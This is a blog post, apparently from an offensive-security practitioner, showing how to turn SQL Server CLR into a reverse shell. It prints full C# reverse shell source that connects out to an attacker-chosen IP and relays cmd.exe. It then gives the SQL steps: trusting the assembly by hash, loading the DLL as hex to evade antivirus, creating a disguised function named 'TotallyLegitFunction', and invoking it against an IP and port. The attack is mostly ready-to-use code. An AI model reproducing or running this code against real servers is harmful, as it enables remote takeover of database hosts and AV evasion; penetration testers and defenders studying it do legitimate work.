Abusing SQL Server CLR to obtain a Reverse Shell
Common Language Runtime (CLR) objects can be used to extend SQL Server’s functionality by running managed code in the database engine. It’s really powerful. It can also be fun and dangerous, as you’ll see soon.
If you are unfamiliar with SQL Server CLR, take a look at my previous post for a quick primer.
In this example, I’m going to get a very simple reverse shell from SQL Server. Assume some privileged level of access to SQL Server to run these commands, but no access to the server itself. Also assume that CLR is already enabled.
First, I’m going create the C# Reverse Shell class library (that I legit stole from the interwebs):
using System;
using System.Diagnostics;
using System.IO;
using System.Net.Sockets;
using System.Text;
namespace ReverseShellCLR
{
public class Class1
{
static StreamWriter streamWriter;
public static int RunMe(string ip, int port)
{
try
{
using (TcpClient client = new TcpClient(ip, port))
{
using (Stream stream = client.GetStream())
{
using (StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while (true)
{
strInput.Append(rdr.ReadLine());
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
catch
{
}
return 0;
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch
{
}
}
}
}
}
Now that itβs compiled into a .dll, we need to add it into SQL Server.
In my CLR primer, we had direct access to the SQL Server’s filesystem so we copied the .dll directly to the server’s C:\Temp folder. In this example, we’re going to create a CLR object without needing filesystem access.
We do this because
- We don’t always have filesystem access, and
- We don’t want to drop malware onto a target and trip their antivirus. Guess what AV doesn’t look at? SQL Server π
The first few commands differ from the CLR primer and are enough to avoid AV detection. Your mileage might vary. We need to tell SQL Server that this is a trusted assembly, and then we need to load the binary into SQL Server via hex (instead of from disk).
To mark the assembly as trusted, we need to get the SHA-512 hash of the .dll. We can do this in PowerShell like this:
Get-FileHash -Algorithm SHA512 .\ReverseShellCLR.dll | Format-List
Then in SSMS we prepend the hash with “0x” and run this:
sp_add_trusted_assembly 0x0E7076FA1DD3FC0E0D7AF43E0C12ACB645E5720F5D3DB76256B14316855AA7C74A1D24CA800D27A2CB957597AF1719B61DADF31AD5851C4B2C165651F6DC10AF
We need to get the .dll’s hex (I used ‘xxd -p’ as shown in the YouTube video) and again prepend it with “0x”. In SSMS we run this:
CREATE ASSEMBLY SqlReverseShell FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000800000000E1FBA0E00...truncated...000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE
The .dll is loaded, now we need to create a function that uses it:
EXECUTE dbo.sp_executesql @statement = N'CREATE FUNCTION TotallyLegitFunction(@ip nvarchar(max), @port int) RETURNS INT AS EXTERNAL NAME SqlReverseShell.[ReverseShellCLR.Class1].RunMe'
At this point, the DLL is armed & ready to go. We just need to call it:
SELECT [dbo].[TotallyLegitFunction] ('192.168.3.13', 443)
In the real world, to get a foothold like this, we’d likely have to compromise a web app via SQL Injection and hope that the database user account has enough privileges to run the aforementioned commands. I’d like to say this is unlikely, but unfortunately there are a lot of misconfigured servers out there. I can’t count how many times I’ve seen a SQL Server service running as a local admin account, or domain service account, often for no good reason.